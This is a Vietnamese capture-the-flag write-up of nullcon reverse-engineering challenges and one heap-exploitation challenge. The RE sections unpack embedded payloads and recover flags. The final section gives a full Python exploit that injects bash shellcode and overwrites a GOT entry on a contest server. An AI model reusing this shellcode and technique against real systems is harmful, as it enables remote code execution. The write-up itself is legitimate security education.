RE 100 - boo

Thoạt nhìn binary có kích thước khá to

C:\Users\chim\Desktop\nullcon\re\boo>trid boo

TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello

Collecting data from file: boo
100.0% (.) Mac OS X Mach-O 64bit Intel executable (4000/1)

=> Mac OS Binary kernel Mach 64 bit.

Check string 1 tí, mình thấy có UPX 3.91!. Nhưng thử decompress thì thất bại.

C:\Users\chim\Desktop\nullcon\re\boo>upx -d boo
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91w       Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: boo: NotPackedException: not packed by UPX

Unpacked 0 files.

Check lại string 1 lần nữa để, chúng ta sẽ thấy có zlib.so, struct.so, python ME… nghi ngờ thể loại python -> bin quá.

Hiện tại có 2 loại python executable là py2exepyinstaller. Tuy nhiên chỉ có pyinstaller là hỗ trợ cho các platform khác.

Do đó ta cần extract PYZ file của nó và decompile script.

Find header PYZ => founded 😀

/assets/wp-content/uploads/2015/01/boo_3.png

OK đơn giản rồi, extract data python ra từ embed file - Sử dụng tool sau Link

import sys

if len(sys.argv) == 13:
    print "Great: flag{g3771ng_st4rt3d_2015}"
else:
    print "."

RE 200 - upx.exe

Mình thử string thì không thấy cái UPX! signature nào 😅. decompress với upx tool lại cho chắc thì failed nốt.

/assets/wp-content/uploads/2015/01/upx_1.png

Run

/assets/wp-content/uploads/2015/01/upx_2.png

OK, let’s make it nicely!

Chúng ta bật IDA sẽ thấy đây là 1 binary MS C++ bình thường.

Template main là winMain -> sau đó nó sẽ gọi hàm sub_4001000

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
    sub_401000();
    return 0;
}

void *__cdecl sub_401000()
{
    void *result; // eax@1
    void *MZ_header; // ecx@1
    int v2; // ecx@4
    int v3; // ebp@4
    int v4; // esi@4
    int v5; // ebx@4
    const char *v6; // edi@5
    unsigned int v7; // edi@9
    int v8; // ebx@9
    HANDLE v9; // eax@9
    void *v10; // esi@9
    unsigned int v11; // eax@10
    HANDLE v12; // eax@12
    int v13; // ebx@12
    SIZE_T v14; // [sp+0h] [bp-28h]@1
    int v15; // [sp+4h] [bp-24h]@14
    int v16; // [sp+8h] [bp-20h]@14
    int v17; // [sp+Ch] [bp-1Ch]@14
    int v18; // [sp+10h] [bp-18h]@14
    int v19; // [sp+14h] [bp-14h]@14
    SIZE_T v20; // [sp+18h] [bp-10h]@14
    int v21; // [sp+1Ch] [bp-Ch]@14
    int v22; // [sp+20h] [bp-8h]@14
    int v23; // [sp+24h] [bp-4h]@14

    result = GetModuleHandleW(0);
    MZ_header = result;
    v14 = (SIZE_T)result;
    if ( result )
    {
        result = (void *)'ZM';
        if ( *(_WORD *)MZ_header == 'ZM' )
        {
            result = (char *)MZ_header + *((_DWORD *)MZ_header + 15);
            if ( *(_DWORD *)result == 'EP' )
            {
                v2 = *((_WORD *)result + 10);
                v3 = *((_WORD *)result + 3);
                v4 = 0;
                v5 = (int)((char *)result + v2 + 24);
                if ( v3 > 0 )
                {
                    v6 = (char *)result + v2 + 24;
                    while ( 1 )
                    {
                        result = (void *)strcmp(v6, ".reloc");
                        if ( !result )
                            break;
                        ++v4;
                        v6 += 40;
                        if ( v4 >= v3 )
                            return result;
                    }
                    v7 = *(_DWORD *)(v5 + 40 * v4 + 16);
                    v8 = v5 + 40 * v4;
                    v9 = GetProcessHeap();
                    result = HeapAlloc(v9, 8u, v7 + 1);
                    v10 = result;
                    if ( result )
                    {                                           // malloc, copy hex sang cho malloc 6600
                        unknown_libname_41(result, v14 + *(_DWORD *)(v8 + 12), *(_DWORD *)(v8 + 16));
                        v11 = 0;
                        if ( v7 )
                        {
                            do
                                *((_BYTE *)v10 + v11++) ^= 0x11u;
                            while ( v11 < v7 );
                        }
                        v14 = *(_DWORD *)v10;
                        v12 = GetProcessHeap();
                        result = HeapAlloc(v12, 8u, v14);
                        v13 = (int)result;
                        if ( result )
                        {
                            result = (void *)sub_406660((int)((char *)v10 + 4), (int)result, v7 - 4, (int)&v14);
                            if ( !result )
                            {
                                v18 = 0;
                                v15 = 0;
                                v16 = 0;
                                v17 = 0;
                                v21 = 0;
                                v22 = 0;
                                v23 = 0;
                                v20 = v14;
                                v19 = v13;
                                LOBYTE(v18) = 1;
                                sub_401B60((int)&v15);
                                ExitProcess(1u);
                            }
                        }
                    }
                }
            }
        }
    }
    return result;
}

Ở đoạn code trên, đầu tiên nó gọi hàm getModuleHandle để tìm base address của executable lúc runtime.

Sau đó nó sẽ kiểm tra MZ signature, PE signature

/assets/wp-content/uploads/2015/01/upx_3.png

và find session .reloc

/assets/wp-content/uploads/2015/01/upx_4.png

/assets/wp-content/uploads/2015/01/upx_6.png

var A = heapalloc(0x6600)

đến đoạn unknown_libname_41 này vì mình rất ghét cái gì cứ dấu giếm, và 1 phần nhác trỗi dậy 😅. function của mscrt mà IDA không detect được thôi nên xem các tham số truyền vào và kết quả trả về để đoán => nó là memcpy

memcpy(0x41b00, A, 0x6600)
for i in range(0x6600):
    A[i] ^= 0x11

một đoạn memory khá dài, lại còn bị mã hóa nữa. không thể nào là flag cipher được? Có lẽ nào là shellcode?

new_size = *(dword*)A = 0xbe00
var B = heapalloc(new_size)
sub_406660( &new_size ) => copy MZ_Header -> đến B, size = 0xbe00

/assets/wp-content/uploads/2015/01/upx_5.png

Từ đây ta nhảy vào sub func cuối là sub_401b60

Check các sub khác, để ý các string quan trọng mình thấy

[+] Mapping PE file
[+] Creating Map View of File
[+] Map View of File created
[+] Checking for self relocation
[+] MyBase, MySize ?!?
[+] Jumping to relocated image
[+] Processing IAT
[+] Loading Library and processing
[+] Fixing Image Base address in PEB
[+] Executing Entry Point !!!

và 1 số function khá đặc biệt khác

- CreateFileMappingW
- MapViewOfFile
- VirtualAlloc
- GetProcAddress
- VirtualQuery
- LoadLibraryA
- VirtualProtect

OK, vậy là phỏng đoán chính xác! Chắc chắn là run shellcode rồi 😄.

Ta đặt breakpoint ở ngay các sub con và run lần lượt đến khi nào shell được chạy thì phát hiện điểm G

/assets/wp-content/uploads/2015/01/upx_7.png

sub_401b60 -> sub_401600 -> call eax
new entry point =  08001563

Xài HxD (hex editor) view ram process upx.exe tại địa chỉ đó thì thấy nguyên map từ 0x08000000 -> 0x0800FFFF là 1 file PE mới,

Search string trên đoạn memory đó thì thấy có dòng “You didn’t ask nicely” và đặc biệt là “-pl34se-give-me-th3-k3y” 😁

Đến đây các bạn có thể extract ra 1 file exe mới và tiếp tục nghiên cứu (ko chắc là sẽ debug đc), còn mình thì thấy nó có dạng 1 file ms c++ nữa nên so sánh structure với PE gốc để tìm địa chỉ winMain

địa chỉ 0x08001100

Quá trình dịch cũng tương tự, PE mới này cũng không quá khó hiểu

st = command_line_string
st[len(st)-1] = \x00

if st[len(st)]==\x20:
    if !strcmp(st, "-pl34se-give-me-th3-k3y"):
        func_flag()
        exit()
msgbox("You not nicely");

Ở đây mình Patch luôn runtime cho lẹ, strcmp và trong func_flag (0x08001000) có còn 1 chỗ gọi isDebuggerPresent (0x08001024)

/assets/wp-content/uploads/2015/01/upx_8.png

/assets/wp-content/uploads/2015/01/upx_9.png

Done.


RE 400 - fin64

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ file fin64
fin64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0x9b62a9678a30ce6c576131024148154a0bc5575d, stripped

Mình chạy thử với nhiều cách input khác nhau, đều có kết quả trả về là “Not yet..”

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ ./fin64
Not yet..

Hàm main khá ngắn, ta dịch lần lượt. Để ý, có 2 cái jump label là good_boybad_boy trong hình

/assets/wp-content/uploads/2015/01/fin64_1.png

Đầu tiên là func_systime. Hàm này gọi syscall 0xc9 để lấy timestamp và sau đó lưu giá trị vào [rbp-18h]

/assets/wp-content/uploads/2015/01/fin64_2.png

Hàm func_ctime - convert timestamp thành giá trị giây:phút:giờ:ngày:tháng:năm => lưu vào [rbp-10h]

/assets/wp-content/uploads/2015/01/fin64_3.png

Dừng ở đây, jump xref ngược từ good_boy và bad_boy ta thấy có 1 đoạn code sử dụng [rbp-10h]

/assets/wp-content/uploads/2015/01/fin64_4.png

Nếu [rbp-10h] ở không bị thay đổi thì đoạn code pseudo sẽ như thế này

[rbp-24h] = [dw_time+16] + 1 = tháng
[rbp-20h] = [dw_time+12] = ngày
[rbp-1ch] = [dw_time+20] + 1900 = năm
if ( [rbp-24h] == 9 && [rbp-20h] == 10 && [rbp-1ch] == 2011 )
    good_boy
else
    bad_boy

Do đó ta đặt lại time là 10/9/2011 và run binary => vẫn failed 😂

Giờ ta jump back từ đoạn compare trên đến ngay sau chỗ convert, patch những đoạn jump để bypass khoảng ở giữa và chạy lại 1 lần nữa

$ ./fin64
Oops..

Look great, mình đoán flag nằm đâu đó trong memory, thử trace dần vào good_boy thì mình phát hiện ra cái này byte_6c2070

/assets/wp-content/uploads/2015/01/fin64_51.png

Next challenge ^^


RE 500 - cso

Bài này mình thực sự không biết nên viết writeup như thế nào vì công nhận là nó khá bựa và cách làm cũng tương đối ngẫu hứng 😄.

Sau hồi dịch mình chả biết nó là cái gì, vừa có vẻ giống virtual machine nhưng cũng… ko giống lắm 😅, đại khái nó như thế này

main:
    print(Bla bla bla)
    gets(st) #main input
    len_st = strlen(st)
    super = 0x24ae5af1 #first magic hex
    while True:
        A: 
            if super-a1>0: jump b1
        B: 
            if super-a2>0: jump b2
        C: 
            if super-a3>0: jump b3
        ...
        V: 
            if super-an>0: jump bn
        X:
            super = a(n+1)
        Y:
            super = a(n+2)
        ...
        Z:
            super = am
        quit:
            break
        dead: 
            puts("You are dead man")
            super = super_to_quit
            continue
        win: 
            puts("You are safe and live forever")
            super = super_to_quit
            continue
        check_len: 
            if len_st==0x1A: 
                super = super_to_stage2
            else:
                super = super_to_dead
            continue
        stage_2:
            #func_stage2 ở địa chỉ 0x00400ec0
            if func_stage2(st)==1: 
                super = super_to_win
            else:
                super=super_to_dead
            continue

#mấy số a1, a2, ...an, a(n+1), ... , am là magic const, ko biết có quy luật gì những mà nó đc build để tính toán hợp lí
#các jump b1, b2, b3, ... bn là nhãn của một trong mấy thằng A,B,C,...V, quit, dead, win, check_len, stage_2

            
def stage2(st):
    #cấu trúc đệ quy
    #vòng lặp tương tự main
    #có thêm 1 số sub function phụ

Không biết flag ở chỗ nào luôn, code follow control dựa vào mấy phép cộng của a(i), giờ tìm quy luật cho nó cũng khá đuối. Có duy nhất 1 cái chắc chắn là len_st = 0x1A = 26 (!!!)

Sau nửa tiếng suy nghĩ, mình thấy khi input với len = 26 và len < 26 thì cảm giác debug lâu hơn. Chà, vậy…

Side channel dựa vào instruction count được không?

$ python -c "print 'a'*26" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123368

$ python -c "print 'a'*25" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

$ python -c "print 'a'*24" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

Bingo, có vẻ chuẩn rồi, từ đây làm 1 script để tìm lần lượt các chars

import subprocess
import time

sam = "abcdefghijklmnopqrstuvwxyz"
sam += sam.upper()
sam += "0123456789_!,.{}"

#217826 SRRDRSSRSRRDDSSSRSSDSDDDSS

def insco(fl):
    fl += 'a'*(26-len(fl))
    open('hellyeah','wt').write(fl)
    subprocess.call("./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ../cso < hellyeah", shell=True)
    time.sleep(0.2)
    k = open("inscount.out").read().strip().split(' ')[1]
    print "-----", fl, k
    return int(k)

def dequy(fl):
    if len(fl)==26:
        print fl
        raw_input("<< Another result, enter for the next...")
    else:
        a = insco(fl + 'a')
        #Cho nay sample chi co 1 ki tu trong string "SRD" thoi (manual check), co the set sam = "SRD" side channel nhanh hon
        for c in sam:
            cou = insco(fl + c)
            if cou-a>400: dequy(fl + c)


dequy('')

=> Ra được kết quả SRRDRSSRSRRDDSSSRSSDSDDDSS… Nhưng trông không giống flag cho lắm 🙃

Mình thử input lại vẫn ra You are dead man

Check lại cái inscount thì thấy có sự chênh lệch rất lớn ins.

Có thể là những mini-sub trong stage2 (0x00400ec0)

Kiểm tra lần lượt từng mini-sub đó ta thấy có sub_400BD0 sử dụng biến global(s) chính là string input ban đầu ?!?

/assets/wp-content/uploads/2015/01/cso_1.png

Đặt breakpoint ngay tại đó và input đúng như trên, sau 1 số lần trace thì …

/assets/wp-content/uploads/2015/01/cso_2.png

Âu Mai Gót, call cái địa chỉ vừa trả về, không phải run shell thì là run cái gì nữa 😁

Chuyển hướng sang phân tích con shell này, tương tự 3 bài rồi

/assets/wp-content/uploads/2015/01/cso_3.png

move rất nhiều ASCII Char vào memory, ghép lại thì thấy đó là 1 chuỗi base32 😛. Từ đây mọi chuyện đã dễ dàng hơn…

s = "MZWGCZ33NV4V6YZQNVYDINJVL4YTKX3VNYYXC5JTPU"
sam = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"

def tobin(t):
    st = bin(t).replace('0b','')
    st = '0'*(5-len(st)) + st
    return st

k = ''
for i in s:
    t = sam.find(i)
    print i, sam.find(i), tobin(t)
    k += tobin(t)

k = k[0:208]
print hex(int(k,2))[2:].replace('L','').decode('hex')

flag{my_c0mp455_15_un1qu3}*


PWN 400 - Mental Note

Cấu trúc dữ liệu của mỗi note như sau

struct note{
    int size;
    note* next_note;
    note* prev_note;
    char content[rest-size-of-note]
}

array_note[999] lưu địa chỉ con trỏ của mỗi note được thêm

Có 3 loại note

loại 0 : content 100 bytes
loại 1 : content 200 bytes
loại 2 : content 400 bytes

và các chức năng sau

  • add-note, người dùng nhập 1 loại note sau đó chương trình malloc 1 bộ nhớ vừa đủ phần header + content size => new_note

new_note được insert vào array_note sau khi đã check-note (dựa vào note header) để tìm id phù hợp.

  • edit-note, người dùng nhập id, loại note và read(note-id-content, size=note-type) mà ko check xem note ở id ấy có đúng loại không.

=> nếu note add vào là loại 0 mà khi edit với loại 1/2 thì sẽ overwrite được sang header note khác.

Bằng cách này ta sẽ chỉnh phần header của note kế tiếp để khai thác lỗi check-note của add-note function.

Payload

import socket, time

def send(s, m):
    print "[SEND]", m
    s.send(m)

def recv(s):
    t = s.recv(4096)
    print "[RECV]", t
    return t

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (( "54.163.248.69",9004 ))

recv(s)
recv(s)

#Add 3 notes, Type 0
for i in range(3):
    send(s, "1\n")
    recv(s)
    send(s, "0\n")
    recv(s)

#Edit note id=2, Type=0, shellcode
send(s, "3\n")
recv(s)
send(s, "2\n")
recv(s)
send(s, "0\n")
recv(s)
#shell
shell = "\x6a\x0f\x58\x83\xe8\x04\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
send(s, "\x90"*20 + shell)
recv(s)

#Edit note id=0, Type=1, overwrite header and change g0t.plt
send(s, "3\n")
recv(s)
send(s, "0\n")
recv(s)
send(s, "1\n")
recv(s)
#magic bytes
send(s, (0x80-12)*'a' + "\x04\xc1\xeb\x0f\x1c\xb0\x04\x08")
recv(s)

#jump to shellcode by function was changed in g0t.plt
send(s, "1\n")
recv(s)
send(s, "0\n")
recv(s)

send(s,"cat flag.txt\n")
recv(s)

s.close()

flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3} !!!


So long and deep, go get some sleep 😇. Chim!